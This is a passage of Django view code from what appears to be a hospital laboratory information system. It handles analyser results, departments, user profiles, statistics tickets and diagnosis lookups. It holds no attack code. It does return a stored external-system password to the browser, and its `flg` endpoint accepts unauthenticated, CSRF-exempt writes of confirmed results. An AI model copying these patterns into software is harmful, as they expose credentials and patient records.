fraction_result.ref_about = ref.about fraction_result.ref_m = ref.m fraction_result.ref_f = ref.f fraction_result.save() # Сохранение issled.api_app = app issled.save() fraction_result.get_ref(re_save=True) fraction_result.issledovaniye.doc_save = astm_user # Кто сохранил fraction_result.issledovaniye.time_save = timezone.now() # Время сохранения fraction_result.issledovaniye.save() if issled not in pks: pks.append(issled) slog.Log(key=appkey, type=22, body=json.dumps(resdict), user=None).save() result["ok"] = True elif not directions.TubesRegistration.objects.filter(pk=resdict["pk"]).exists(): if dpk > -1: resdict["pk"] = dpk slog.Log(key=resdict["pk"], type=23, body=json.dumps(resdict), user=None).save() except Exception as e: result = {"ok": False, "Exception": True, "MSG": str(e)} return JsonResponse(result) @csrf_exempt def endpoint(request): result = {"answer": False, "body": "", "patientData": {}} data = json.loads(request.POST.get("result", request.GET.get("result", "{}"))) api_key = request.POST.get("key", request.GET.get("key", "")) message_type = data.get("message_type", "C") pk_s = str(data.get("pk", "")).strip() iss_s = str(data.get("iss_pk", "-1")).strip() pk = -1 if not pk_s.isdigit() else int(pk_s) iss_pk = -1 if not iss_s.isdigit() else int(iss_s) data["app_name"] = "API key is incorrect" # pid = data.get("processing_id", "P") if models.Application.objects.filter(key=api_key).exists(): astm_user = users.DoctorProfile.objects.filter(user__username="astm").first() if astm_user is None: astm_user = users.DoctorProfile.objects.filter(user__is_staff=True).order_by("pk").first() app = models.Application.objects.get(key=api_key) if app.active: data["app_name"] = app.name if message_type == "R" or data.get("result") or message_type == "R_BAC": if pk != -1 or iss_pk != -1: direction: Union[directions.Napravleniya, None] = None dw = app.direction_work or message_type == "R_BAC" if pk >= 4600000000000: pk -= 4600000000000 pk //= 10 dw = True if pk == -1: iss = directions.Issledovaniya.objects.filter(pk=iss_pk) if iss.exists(): direction = iss[0].napravleniye elif dw: direction = directions.Napravleniya.objects.filter(pk=pk).first() else: direction = directions.Napravleniya.objects.filter(issledovaniya__tubes__pk=pk).first() pks = [] oks = [] if direction is not None: if message_type == "R" or (data.get("result") and message_type == 'C'): result["patientData"] = { "fio": direction.client.individual.fio(short=True), "card": direction.client.number_with_type(), } result["patientData"]["fioTranslit"] = translit(result["patientData"]["fio"]) result["patientData"]["cardTranslit"] = translit(result["patientData"]["card"]) results = data.get("result", {}) for key in results: ok = False q = models.RelationFractionASTM.objects.filter(astm_field=key) if q.filter(application_api=app).exists(): q = q.filter(application_api=app) ok = True elif q.filter(application_api__isnull=True).exists(): q = q.filter(application_api__isnull=True) ok = True if ok: for fraction_rel in q: save_state = [] issleds = [] for issled in directions.Issledovaniya.objects.filter( napravleniye=direction, research=fraction_rel.fraction.research, time_confirmation__isnull=True ): if directions.Result.objects.filter(issledovaniye=issled, fraction=fraction_rel.fraction).exists(): fraction_result = directions.Result.objects.filter(issledovaniye=issled, fraction=fraction_rel.fraction).order_by("-pk")[0] else: fraction_result = directions.Result(issledovaniye=issled, fraction=fraction_rel.fraction) fraction_result.value = str(results[key]).strip() if 'Non-React' in fraction_result.value: fraction_result.value = 'Отрицательно' find = re.findall(r"\d+.\d+", fraction_result.value) if len(find) == 0 and fraction_result.value.isdigit(): find = [fraction_result.value] if len(find) > 0: val_str = fraction_result.value for f in find: try: val = float(f) * fraction_rel.get_multiplier_display() val = app.auto_set_places(fraction_rel, val) val_str = val_str.replace(f, str(val)) except Exception as e: logger.exception(e) fraction_result.value = val_str fraction_result.iteration = 1 ref = fraction_rel.default_ref if ref: fraction_result.ref_title = ref.title fraction_result.ref_about = ref.about fraction_result.ref_m = ref.m fraction_result.ref_f = ref.f fraction_result.save() issled.api_app = app issled.save() fraction_result.get_ref(re_save=True) fraction_result.issledovaniye.doc_save = astm_user fraction_result.issledovaniye.time_save = timezone.now() fraction_result.issledovaniye.save() save_state.append({"fraction": fraction_result.fraction.title, "value": fraction_result.value}) issleds.append({"pk": issled.pk, "title": issled.research.title}) if issled not in pks: pks.append(issled) oks.append(ok) elif message_type == "R_BAC": mo = data.get('mo') if mo: code = mo.get('code') name = mo.get('name') anti = data.get('anti', {}) comments = data.get('comments', []) if code: culture = Culture.objects.filter(lis=code).first() iss = directions.Issledovaniya.objects.filter(napravleniye=direction, time_confirmation__isnull=True, research__is_microbiology=True) if iss.filter(pk=iss_pk).exists(): iss = iss.filter(pk=iss_pk) iss = iss.first() if not culture: print('NO CULTURE', code, name) # noqa: T001 elif not iss: print('IGNORED') # noqa: T001 else: directions.MicrobiologyResultCulture.objects.filter(issledovaniye=iss, culture=culture).delete() comments = '\n'.join( [c["text"] for c in comments if not c["text"].startswith('S:') and not c["text"].startswith('R:') and not c["text"].startswith('I:')] ) culture_result = directions.MicrobiologyResultCulture(issledovaniye=iss, culture=culture, comments=comments) culture_result.save() for a in anti: anti_r = anti[a] anti_obj = Antibiotic.objects.filter(lis=a).first() if anti_obj and anti_r.get('RSI'): a_name = anti_r.get('name', '').replace('µg', 'мг') a_name_parts = a_name.split() a_name = a_name_parts[-2] + ' ' + a_name_parts[-1] anti_result = directions.MicrobiologyResultCultureAntibiotic( result_culture=culture_result, antibiotic=anti_obj, sensitivity=anti_r.get('RSI'), dia=anti_r.get('dia', ''), antibiotic_amount=a_name, ) anti_result.save() result["body"] = "{} {} {} {} {}".format(dw, pk, iss_pk, json.dumps(oks), direction is not None) else: result["body"] = "pk '{}' is not exists".format(pk_s) elif message_type == "Q": result["answer"] = True pks = [int(x) for x in data.get("query", [])] researches = defaultdict(list) for row in app.get_issledovaniya(pks): k = row["pk"] i = row["iss"] result["patientData"] = { "fio": i.napravleniye.client.individual.fio(short=True), "card": i.napravleniye.client.number_with_type(), } result["patientData"]["fioTranslit"] = translit(result["patientData"]["fio"]) result["patientData"]["cardTranslit"] = translit(result["patientData"]["card"]) for fraction in Fractions.objects.filter(research=i.research, hide=False): rel = models.RelationFractionASTM.objects.filter(fraction=fraction, application_api=app) if not rel.exists(): continue # rel = models.RelationFractionASTM.objects.filter(fraction=fraction) # if not rel.exists(): # continue rel = rel[0] researches[k].append(rel.astm_field) result["body"] = researches else: pass else: data["app_name"] = "API app banned " + api_key result["body"] = "API app banned " + api_key else: result["body"] = "API key is incorrect" slog.Log(key=pk, type=6000, body=json.dumps({"data": data, "answer": result}), user=None).save() return JsonResponse(result) @login_required def departments(request): req = json.loads(request.body) method = req.get('method', 'GET') without_default = req.get('withoutDefault', False) current_user_hospital_id = request.user.doctorprofile.get_hospital_id() or -1 hospital_pk = req.get('hospital', current_user_hospital_id) su = request.user.is_superuser if hospital_pk == -1: hospital_pk = None if hospital_pk != current_user_hospital_id and not su: return JsonResponse({"ok": False}) can_edit = su or request.user.doctorprofile.has_group('Создание и редактирование пользователей') if method == "GET": if without_default: qs = Podrazdeleniya.objects.filter(hospital_id=hospital_pk).order_by("pk") else: qs = Podrazdeleniya.objects.filter(Q(hospital_id=hospital_pk) | Q(hospital__isnull=True)).order_by("pk") deps = [{"pk": x.pk, "title": x.get_title(), "type": str(x.p_type), "oid": x.oid} for x in qs] en = SettingManager.en() more_types = [] if SettingManager.is_morfology_enabled(en): more_types.append({"pk": str(Podrazdeleniya.MORFOLOGY), "title": "Морфология"}) data = { "departments": deps, "can_edit": can_edit, "types": [*[{"pk": str(x[0]), "title": x[1]} for x in Podrazdeleniya.TYPES if x[0] not in [8, 12] and en.get(x[0], True)], *more_types], } if hasattr(request, 'plain_response') and request.plain_response: return data return JsonResponse(data) if can_edit: ok = False message = "" try: data_type = req.get("type", "update") rows = req.get("data", []) if data_type == "update": ok = False for row in rows: title = row["title"].strip() if len(title) > 0: department = Podrazdeleniya.objects.get(pk=row["pk"]) department.title = title department.p_type = int(row["type"]) department.hospital_id = hospital_pk department.oid = row.get("oid", '') department.save() ok = True elif data_type == "insert": ok = False for row in rows: title = row["title"].strip() if len(title) > 0: department = Podrazdeleniya(title=title, p_type=int(row["type"]), hospital_id=hospital_pk, oid=row.get("oid", '')) department.save() ok = True finally: return JsonResponse({"ok": ok, "message": message}) return JsonResponse(0) @login_required def otds(request): return JsonResponse( {"rows": [{"id": -1, "label": "Все отделения"}, *[{"id": x.pk, "label": x.title} for x in Podrazdeleniya.objects.filter(p_type=Podrazdeleniya.DEPARTMENT).order_by("title")]]} ) @login_required def laboratory_journal_params(request): return JsonResponse( { "fin": [{"id": x.pk, "label": f"{x.base.title} – {x.title}"} for x in directions.IstochnikiFinansirovaniya.objects.all().order_by("pk").order_by("base")], "groups": [ {"id": -2, "label": "Все исследования"}, {"id": -1, "label": "Без группы"}, *[{"id": x.pk, "label": f"{x.lab.get_title()} – {x.title}"} for x in ResearchGroup.objects.all()], ], } ) def bases(request): k = f'view:bases:{request.user.pk}' ret = cache.get(k) if not ret: ret = { "bases": [ { "pk": x.pk, "title": x.title, "code": x.short_title, "hide": x.hide, "history_number": x.history_number, "internal_type": x.internal_type, "fin_sources": [{"pk": y.pk, "title": y.title, "default_diagnos": y.default_diagnos} for y in x.istochnikifinansirovaniya_set.all()], } for x in CardBase.objects.all() .prefetch_related(Prefetch('istochnikifinansirovaniya_set', directions.IstochnikiFinansirovaniya.objects.filter(hide=False).order_by('-order_weight'))) .order_by('-order_weight') ] } cache.set(k, ret, 100) if hasattr(request, 'plain_response') and request.plain_response: return ret return JsonResponse(ret) @ensure_csrf_cookie def current_user_info(request): user = request.user ret = { "auth": user.is_authenticated, "doc_pk": -1, "username": "", "fio": "", "department": {"pk": -1, "title": ""}, "groups": [], "eds_token": None, "modules": SettingManager.l2_modules(), "user_services": [], "loading": False, } if ret["auth"]: def fill_user_data(): doctorprofile = ( users.DoctorProfile.objects.prefetch_related( Prefetch( 'restricted_to_direct', queryset=DResearches.objects.only('pk'), ), Prefetch( 'users_services', queryset=DResearches.objects.only('pk'), ), ) .select_related('podrazdeleniye') .get(user_id=user.pk) ) ret["fio"] = doctorprofile.get_full_fio() ret["doc_pk"] = doctorprofile.pk ret["rmis_location"] = doctorprofile.rmis_location ret["rmis_login"] = doctorprofile.rmis_login ret["rmis_password"] = doctorprofile.rmis_password ret["department"] = {"pk": doctorprofile.podrazdeleniye_id, "title": doctorprofile.podrazdeleniye.title} ret["restricted"] = [x.pk for x in doctorprofile.restricted_to_direct.all()] ret["user_services"] = [x.pk for x in doctorprofile.users_services.all() if x not in ret["restricted"]] ret["hospital"] = doctorprofile.get_hospital_id() ret["hospital_title"] = doctorprofile.get_hospital_title() ret["all_hospitals_users_control"] = doctorprofile.all_hospitals_users_control ret["specialities"] = [] if not doctorprofile.specialities else [doctorprofile.specialities.title] ret["groups"] = list(user.groups.values_list('name', flat=True)) if user.is_superuser: ret["groups"].append("Admin") ret["eds_allowed_sign"] = doctorprofile.get_eds_allowed_sign() if ret['modules'].get('l2_eds') else [] try: connections.close_all() except Exception as e: print(f"Error closing connections {e}") # noqa: T001 def fill_settings(): ret["su"] = user.is_superuser ret["username"] = user.username ret["modules"] = SettingManager.l2_modules() ret["rmis_enabled"] = SettingManager.get("rmis_enabled", default='false', default_type='b') ret["directions_params_org_form_default_pk"] = SettingManager.get("directions_params_org_form_default_pk", default='', default_type='s') en = SettingManager.en() ret["extended_departments"] = {} st_base = ResearchSite.objects.filter(hide=False).order_by('order', 'title') sites_by_types = {} for s in st_base: if s.site_type not in sites_by_types: sites_by_types[s.site_type] = [] sites_by_types[s.site_type].append({"pk": s.pk, "title": s.title, "type": s.site_type, "extended": True, 'e': s.site_type + 4}) # Тут 13 – заявления, 11 – формы, 7 – формы минус 4 if 13 in en and 11 in en: if 7 not in sites_by_types: sites_by_types[7] = [] sites_by_types[7].append( { "pk": -13, "title": "Заявления", "type": 7, "extended": True, 'e': 11, } ) for e in en: if e < 4 or not en[e] or e == 13: continue t = e - 4 has_def = DResearches.objects.filter(hide=False, site_type__isnull=True, **DResearches.filter_type(e)).exists() if has_def and e != 12: d = [{"pk": None, "title": 'Общие', 'type': t, "extended": True}] else: d = [] ret["extended_departments"][e] = [*d, *sites_by_types.get(t, [])] if SettingManager.is_morfology_enabled(en): ret["extended_departments"][Podrazdeleniya.MORFOLOGY] = [] if en.get(8): ret["extended_departments"][Podrazdeleniya.MORFOLOGY].append( {"pk": Podrazdeleniya.MORFOLOGY + 1, "title": "Микробиология", "type": Podrazdeleniya.MORFOLOGY, "extended": True, "e": Podrazdeleniya.MORFOLOGY} ) if en.get(9): ret["extended_departments"][Podrazdeleniya.MORFOLOGY].append( {"pk": Podrazdeleniya.MORFOLOGY + 2, "title": "Цитология", "type": Podrazdeleniya.MORFOLOGY, "extended": True, "e": Podrazdeleniya.MORFOLOGY} ) if en.get(10): ret["extended_departments"][Podrazdeleniya.MORFOLOGY].append( {"pk": Podrazdeleniya.MORFOLOGY + 3, "title": "Гистология", "type": Podrazdeleniya.MORFOLOGY, "extended": True, "e": Podrazdeleniya.MORFOLOGY} ) try: connections.close_all() except Exception as e: print(f"Error closing connections {e}") # noqa: T001 t1 = threading.Thread(target=fill_user_data) t2 = threading.Thread(target=fill_settings) t1.start() t2.start() t1.join() t2.join() if hasattr(request, 'plain_response') and request.plain_response: return ret return JsonResponse(ret) def get_menu(request): data = menu(request) return JsonResponse( { "buttons": data["mainmenu"], "version": data["version"], "region": SettingManager.get("region", default='38', default_type='s'), } ) @login_required def directive_from(request): data = [] hospital = request.user.doctorprofile.hospital for dep in ( Podrazdeleniya.objects.filter(p_type__in=(Podrazdeleniya.DEPARTMENT, Podrazdeleniya.HOSP, Podrazdeleniya.PARACLINIC), hospital__in=(hospital, None)) .prefetch_related( Prefetch( 'doctorprofile_set', queryset=( users.DoctorProfile.objects.filter(user__groups__name__in=["Лечащий врач", "Врач параклиники"]) .distinct('fio', 'pk') .filter(Q(hospital=hospital) | Q(hospital__isnull=True)) .order_by("fio") ), ) ) .order_by('title') .only('pk', 'title') ): d = { "pk": dep.pk, "title": dep.title, "docs": [{"pk": x.pk, "fio": x.get_full_fio()} for x in dep.doctorprofile_set.all()], } data.append(d) result = {"data": data} if hasattr(request, 'plain_response') and request.plain_response: return result return JsonResponse(result) @group_required("Оформление статталонов", "Лечащий врач", "Оператор лечащего врача") def statistics_tickets_types(request): result = { "visit": non_selected_visible_type(VisitPurpose), "result": non_selected_visible_type(ResultOfTreatment), "outcome": non_selected_visible_type(Outcomes), "exclude": non_selected_visible_type(ExcludePurposes), } return JsonResponse(result) @group_required("Оформление статталонов", "Лечащий врач", "Оператор лечащего врача") def statistics_tickets_send(request): response = {"ok": True} rd = json.loads(request.body) ofname = rd.get("ofname") or -1 doc = None if ofname > -1 and users.DoctorProfile.objects.filter(pk=ofname).exists(): doc = users.DoctorProfile.objects.get(pk=ofname) t = StatisticsTicket( card=Card.objects.get(pk=rd["card_pk"]), purpose=VisitPurpose.objects.filter(pk=rd["visit"]).first(), result=ResultOfTreatment.objects.filter(pk=rd["result"]).first(), info=rd["info"].strip(), first_time=rd["first_time"], primary_visit=rd["primary_visit"], dispensary_registration=int(rd["disp"]), doctor=doc or request.user.doctorprofile, creator=request.user.doctorprofile, outcome=Outcomes.objects.filter(pk=rd["outcome"]).first(), dispensary_exclude_purpose=ExcludePurposes.objects.filter(pk=rd["exclude"]).first(), dispensary_diagnos=rd["disp_diagnos"], date_ticket=rd.get("date_ticket", None), ) t.save() Log(key="", type=7000, body=json.dumps(rd), user=request.user.doctorprofile).save() return JsonResponse(response) @group_required("Оформление статталонов", "Лечащий врач", "Оператор лечащего врача") def statistics_tickets_get(request): response = {"data": []} request_data = json.loads(request.body) date_start, date_end = try_parse_range(request_data["date"]) n = 0 for row in ( StatisticsTicket.objects.filter(Q(doctor=request.user.doctorprofile) | Q(creator=request.user.doctorprofile)) .filter( date__range=( date_start, date_end, ) ) .order_by('pk') ): if not row.invalid_ticket: n += 1 response["data"].append( { "pk": row.pk, "n": n if not row.invalid_ticket else '', "doc": row.doctor.get_fio(), "date_ticket": row.get_date(), "department": row.doctor.podrazdeleniye.get_title(), "patinet": row.card.individual.fio(full=True), "card": row.card.number_with_type(), "purpose": row.purpose.title if row.purpose else "", "first_time": row.first_time, "primary": row.primary_visit, "info": row.info, "disp": ( row.get_dispensary_registration_display() + (" (" + row.dispensary_diagnos + ")" if row.dispensary_diagnos != "" else "") + (" (" + row.dispensary_exclude_purpose.title + ")" if row.dispensary_exclude_purpose else "") ), "result": row.result.title if row.result else "", "outcome": row.outcome.title if row.outcome else "", "invalid": row.invalid_ticket, "can_invalidate": row.can_invalidate(), } ) return JsonResponse(response) @group_required("Оформление статталонов", "Лечащий врач", "Оператор лечащего врача") def statistics_tickets_invalidate(request): response = {"ok": False, "message": ""} request_data = json.loads(request.body) if StatisticsTicket.objects.filter(Q(doctor=request.user.doctorprofile) | Q(creator=request.user.doctorprofile)).filter(pk=request_data.get("pk", -1)).exists(): if StatisticsTicket.objects.get(pk=request_data["pk"]).can_invalidate(): for s in StatisticsTicket.objects.filter(pk=request_data["pk"]): s.invalid_ticket = request_data.get("invalid", False) s.save() response["ok"] = True Log(key=str(request_data["pk"]), type=7001, body=json.dumps(request_data.get("invalid", False)), user=request.user.doctorprofile).save() else: response["message"] = "Время на отмену или возврат истекло" return JsonResponse(response) def delete_keys_from_dict(dict_del, lst_keys): for k in lst_keys: try: del dict_del[k] except KeyError: pass for v in dict_del.values(): if isinstance(v, dict): delete_keys_from_dict(v, lst_keys) if isinstance(v, list): for ll in v: delete_keys_from_dict(ll, lst_keys) return dict_del def get_reset_time_vars(n): ctp = int(0 if not n.visit_date else int(time.mktime(timezone.localtime(n.visit_date).timetuple()))) ctime = int(time.time()) cdid = -1 if not n.visit_who_mark else n.visit_who_mark_id rt = SettingManager.get("visit_reset_time_min", default="20.0", default_type='f') * 60 return cdid, ctime, ctp, rt def mkb10(request): kw = request.GET.get("keyword", "").split(' ')[0] data = [] for d in directions.Diagnoses.objects.filter(d_type="mkb10.4", code__istartswith=kw, hide=False).order_by("code").distinct()[:11]: data.append({"pk": d.pk, "code": d.code, "title": d.title}) return JsonResponse({"data": data}) def mkb10_dict(request): q = request.GET["query"].strip() if not q: return JsonResponse({"data": []}) if q == '-': return JsonResponse({"data": [{"code": '-', "title": '', "id": '-'}]}) d = request.GET.get("dictionary", "mkb10.4") parts = q.split(' ', 1) code = "-1" diag_title = "-1" if len(parts) == 2: if re.search(r'^[a-zA-Z0-9]', parts[0]): code = parts[0] diag_title = f"{parts[1]}" else: diag_title = f"{parts[0]} {parts[1]}" else: if re.search(r'^[a-zA-Z0-9]', parts[0]): code = parts[0] else: diag_title = parts[0] if diag_title != "-1": diag_title = f"{diag_title}." diag_query = get_diagnoses(d_type=d, diag_title=f"{diag_title}", diag_mkb=code) data = [] for d in diag_query: data.append({"code": d.code, "title": d.title, "id": d.nsi_id}) return JsonResponse({"data": data}) def doctorprofile_search(request): q = request.GET["query"].strip() if not q: return JsonResponse({"data": []}) q = q.split() d_qs = users.DoctorProfile.objects.filter( hospital=request.user.doctorprofile.get_hospital(), family__istartswith=q[0] ) if len(q) > 1: d_qs = d_qs.filter(name__istartswith=q[1]) if len(q) > 2: d_qs = d_qs.filter(patronymic__istartswith=q[2]) data = [] d: users.DoctorProfile for d in d_qs.order_by('fio')[:15]: data.append({ "id": d.pk, "fio": str(d), "department": d.podrazdeleniye.title if d.podrazdeleniye else "", **d.dict_data, }) return JsonResponse({"data": data}) def methods_of_taking(request): prescription = request.GET.get("prescription", "") kw = request.GET.get("keyword", "") data = [] m = directions.MethodsOfTaking.objects.filter(drug_prescription=prescription, method_of_taking__istartswith=kw).order_by("-count").distinct()[:10] for d in m: data.append({"pk": d.pk, "method_of_taking": d.method_of_taking}) return JsonResponse({"data": data}) def key_value(request): key = request.GET.get("key", "") value = request.GET.get("value", "").strip() limit = int(request.GET.get("limit", "10")) data = [] for v in directions.KeyValue.objects.filter(key=key, value__istartswith=value).order_by("value").distinct()[:limit]: data.append({"pk": v.pk, "key": v.key, "value": v.value}) return JsonResponse({"data": data}) def vich_code(request): kw = request.GET.get("keyword", "") data = [] for d in directions.Diagnoses.objects.filter(code__istartswith=kw, d_type="vc", hide=False).order_by("code")[:11]: data.append({"pk": d.pk, "code": d.code, "title": {"-": ""}.get(d.title, d.title)}) return JsonResponse({"data": data}) @login_required @group_required("Подтверждение отправки результатов в РМИС") def rmis_confirm_list(request): request_data = json.loads(request.body) data = {"directions": []} date_start, date_end = try_parse_range(request_data["date_from"], request_data["date_to"]) d = ( directions.Napravleniya.objects.filter(istochnik_f__rmis_auto_send=False, force_rmis_send=False, issledovaniya__time_confirmation__range=(date_start, date_end)) .exclude(issledovaniya__time_confirmation__isnull=True) .distinct() .order_by("pk") ) data["directions"] = [{"pk": x.pk, "patient": {"fiodr": x.client.individual.fio(full=True), "card": x.client.number_with_type()}, "fin": x.fin_title} for x in d] return JsonResponse(data) @csrf_exempt def flg(request): ok = False dpk = int(request.POST["directionId"]) content = request.POST["content"] date = try_strptime(request.POST["date"]) doc_f = request.POST["doc"].lower() if dpk >= 4600000000000: dpk -= 4600000000000 dpk //= 10 ds = directions.Napravleniya.objects.filter(pk=dpk) if ds.exists(): d = ds[0] iss = directions.Issledovaniya.objects.filter(napravleniye=d, research__code="A06.09.006") if iss.exists(): i = iss[0] doc = None gi = None for u in users.DoctorProfile.objects.filter(podrazdeleniye=i.research.podrazdeleniye): if u.get_fio().lower() == doc_f or (not doc and u.has_group('Врач параклиники')): doc = u gis = ParaclinicInputField.objects.filter(group__research=i.research, group__title="Заключение") if gis.exists(): gi = gis[0] if doc and gi: if not directions.ParaclinicResult.objects.filter(issledovaniye=i, field=gi).exists(): f_result = directions.ParaclinicResult(issledovaniye=i, field=gi, value="") else: f_result = directions.ParaclinicResult.objects.filter(issledovaniye=i, field=gi)[0] if f_result.value != content: f_result.value = content f_result.save() if i.doc_save != doc or i.time_save != date or i.doc_confirmation != doc or i.time_confirmation != date: i.doc_save = doc i.time_save = date i.doc_confirmation = doc i.time_confirmation = date if i.napravleniye: i.napravleniye.qr_check_token = None i.napravleniye.save(update_fields=['qr_check_token']) i.save() if not i.napravleniye.visit_who_mark or not i.napravleniye.visit_date: i.napravleniye.visit_who_mark = doc i.napravleniye.visit_date = date i.napravleniye.save() slog.Log(key=dpk, type=13, body=json.dumps({"content": content, "doc_f": doc_f}), user=None).save() return JsonResponse({"ok": ok}) def search_template(request): result = [] q = request.GET.get('q', '') if q != '': for r in users.AssignmentTemplates.objects.filter(title__istartswith=q, global_template=False).order_by('title')[:10]: result.append({"pk": r.pk, "title": r.title, "researches": [x.research.pk for x in users.AssignmentResearches.objects.filter(template=r, research__hide=False)]}) return JsonResponse({"result": result, "q": q}) def load_templates(request): result = [] t = request.GET.get('type', '1') for r in users.AssignmentTemplates.objects.filter(global_template=t == '1').order_by('title'): result.append({"pk": r.pk, "title": r.title, "researches": [x.research.pk for x in users.AssignmentResearches.objects.filter(template=r, research__hide=False)]}) return JsonResponse({"result": result}) def get_template(request): title = '' researches = [] global_template = False pk = request.GET.get('pk') if pk: t = users.AssignmentTemplates.objects.get(pk=pk) title = t.title researches = [x.research_id for x in users.AssignmentResearches.objects.filter(template=t, research__hide=False)] global_template = t.global_template return JsonResponse({"title": title, "researches": researches, "global_template": global_template}) @login_required @group_required("Конструктор: Настройка шаблонов") def update_template(request): response = {"ok": False} request_data = json.loads(request.body) pk = request_data.get("pk", -2) if pk > -2: title = request_data.get("title").strip() researches = request_data["researches"] global_template = request_data["global_template"] if len(title) > 0 and len(researches) > 0: t = None if pk == -1: t = users.AssignmentTemplates(title=title, global_template=global_template) t.save() pk = t.pk if users.AssignmentTemplates.objects.filter(pk=pk).exists(): t = users.AssignmentTemplates.objects.get(pk=pk) t.title = title t.global_template = global_template t.save() if t: users.AssignmentResearches.objects.filter(template=t).exclude(research__pk__in=researches).delete() to_add = [x for x in researches if not users.AssignmentResearches.objects.filter(template=t, research__pk=x).exists()] for ta in to_add: if DResearches.objects.filter(pk=ta).exists(): users.AssignmentResearches(template=t, research=DResearches.objects.get(pk=ta)).save() response["ok"] = True return JsonResponse(response) def modules_view(request): return JsonResponse({"l2_cards": SettingManager.get("l2_cards_module", default='false', default_type='b')}) def autocomplete(request): t = request.GET.get("type") v = request.GET.get("value", "") limit = int(request.GET.get("limit", 10)) data = [] if v != "" and limit > 0: if t == "harmful": p = Card.objects.filter(harmful_factor__istartswith=v).distinct('harmful_factor')[:limit] if p.exists(): data = [x.harmful_factor for x in p] elif t == "fias": data = fias.suggest(v) elif t == "fias-extended": data = fias.suggest(v, count=limit, detalized=True) elif t == "name": p = Individual.objects.filter(name__istartswith=v).distinct('name')[:limit] if p.exists(): data = [x.name for x in p] elif t == "family": p = Individual.objects.filter(family__istartswith=v).distinct('family')[:limit] if p.exists(): data = [x.family for x in p] elif t == "patronymic": p = Individual.objects.filter(patronymic__istartswith=v).distinct('patronymic')[:limit] if p.exists(): data = [x.patronymic for x in p] elif t == "work_place": p = Card.objects.filter(work_place__istartswith=v).distinct('work_place')[:limit] if p.exists(): data = [x.work_place for x in p] elif t == "main_diagnosis": p = Card.objects.filter(main_diagnosis__istartswith=v).distinct('main_diagnosis')[:limit] if p.exists(): data = [x.main_diagnosis for x in p] elif t == "work_position": p = Card.objects.filter(work_position__istartswith=v).distinct('work_position')[:limit] if p.exists(): data = [x.work_position for x in p] elif "who_give:" in t: tpk = t.split(":")[1] p = Document.objects.filter(document_type__pk=tpk, who_give__istartswith=v).distinct('who_give')[:limit] if p.exists(): data = [x.who_give for x in p] elif t == "fsli": if v == "HGB": p = FsliRefbookTest.objects.filter( Q(code_fsli__startswith=v) | Q(title__icontains=v) | Q(english_title__icontains=v) | Q(short_title__icontains=v) | Q(synonym__istartswith=v) | Q(synonym='Hb') ) else: p = FsliRefbookTest.objects.filter( Q(code_fsli__startswith=v) | Q(title__icontains=v) | Q(english_title__icontains=v) | Q(short_title__icontains=v) | Q(synonym__istartswith=v) ) p = p.filter(active=True).distinct('code_fsli').order_by('code_fsli', 'ordering')[:limit] if p.exists(): data = [{"code_fsli": x.code_fsli, "short_title": x.short_title, "title": x.title, "sample": x.sample, "synonym": x.synonym, "nmu": x.code_nmu} for x in p] elif t == "drugs": data = [ { "title": str(x), "pk": x.pk, } for x in Drugs.objects.filter(Q(mnn__istartswith=v) | Q(trade_name__istartswith=v)).order_by('mnn', 'trade_name').distinct('mnn', 'trade_name')[:limit] ] return JsonResponse({"data": data}) def laborants(request): data = [] if SettingManager.l2('results_laborants'): data = [{"pk": '-1', "fio": 'Не выбрано'}] for d in users.DoctorProfile.objects.filter(user__groups__name="Лаборант", podrazdeleniye__p_type=users.Podrazdeleniya.LABORATORY).order_by('fio'): data.append({"pk": str(d.pk), "fio": d.get_full_fio()}) return JsonResponse({"data": data, "doc": request.user.doctorprofile.has_group("Врач-лаборант")}) @login_required def load_docprofile_by_group(request): request_data = json.loads(request.body) if request_data['group'] == '*': users = users_all(request.user.doctorprofile.get_hospital_id()) else: users = users_by_group(request_data['group'], request.user.doctorprofile.get_hospital_id()) users_grouped = {} for row in users: if row[2] not in users_grouped: users_grouped[row[2]] = {'id': f"pord-{row[2]}", 'label': row[4] or row[3], 'children': []} users_grouped[row[2]]['children'].append({'id': str(row[0]), 'label': row[1], 'podr': row[4] or row[3]}) return JsonResponse({"users": list(users_grouped.values())}) @login_required @group_required("Создание и редактирование пользователей") def users_view(request): request_data = json.loads(request.body) user_hospital_pk = request.user.doctorprofile.get_hospital_id() hospital_pk = request_data.get('selected_hospital', user_hospital_pk) can_edit = request.user.is_superuser or request.user.doctorprofile.all_hospitals_users_control or hospital_pk == user_hospital_pk data = [] if can_edit: podr = Podrazdeleniya.objects.filter(Q(hospital_id=hospital_pk) | Q(hospital__isnull=True)).exclude(p_type=Podrazdeleniya.HIDDEN, hospital__isnull=True).order_by("title") for x in podr: otd = {"pk": x.pk, "title": x.title, "users": []} docs = users.DoctorProfile.objects.filter(podrazdeleniye=x, hospital_id=hospital_pk).order_by('fio') if not request.user.is_superuser: docs = docs.filter(user__is_superuser=False) for y in docs: otd["users"].append({"pk": y.pk, "fio": y.get_fio(), "username": y.user.username}) data.append(otd) spec = users.Speciality.objects.filter(hide=False).order_by("title") spec_data = [ {"pk": -1, "title": "Не выбрано"} ] for s in spec: spec_data.append({"pk": s.pk, "title": s.title}) positions_qs = users.Position.objects.filter(hide=False).order_by("title") positions = [ {"pk": -1, "title": "Не выбрано"} ] for s in positions_qs: positions.append({"pk": s.pk, "title": s.title}) return JsonResponse({"departments": data, "specialities": spec_data, "positions": positions}) @login_required @group_required("Создание и редактирование пользователей") def user_view(request): request_data = json.loads(request.body) pk = request_data["pk"] if pk == -1: data = { "family": '', "name": '', "patronymic": '', "username": '', "department": '', "groups": [], "restricted_to_direct": [], "users_services": [], "groups_list": [{"pk": x.pk, "title": x.name} for x in Group.objects.all()], "password": '', "rmis_location": '', "rmis_login": '', "rmis_password": '', "rmis_resource_id": '', "doc_pk": -1, "doc_code": -1, "rmis_employee_id": '', "rmis_service_id_time_table": '', "snils": '', "position": -1, } else: doc: users.DoctorProfile = users.DoctorProfile.objects.get(pk=pk) fio_parts = doc.get_fio_parts() data = { "family": fio_parts[0], "name": fio_parts[1], "patronymic": fio_parts[2], "username": doc.user.username, "department": doc.podrazdeleniye_id, "groups": [x.pk for x in doc.user.groups.all()], "restricted_to_direct": [x.pk for x in doc.restricted_to_direct.all()], "users_services": [x.pk for x in doc.users_services.all()], "groups_list": [{"pk": x.pk, "title": x.name} for x in Group.objects.all()], "password": '', "rmis_location": doc.rmis_location or '', "rmis_login": doc.rmis_login or '', "rmis_resource_id": doc.rmis_resource_id or '', "rmis_password": '', "doc_pk": doc.user.pk, "personal_code": doc.personal_code, "speciality": doc.specialities_id or -1, "rmis_employee_id": doc.rmis_employee_id, "rmis_service_id_time_table": doc.rmis_service_id_time_table, "snils": doc.snils, "position": 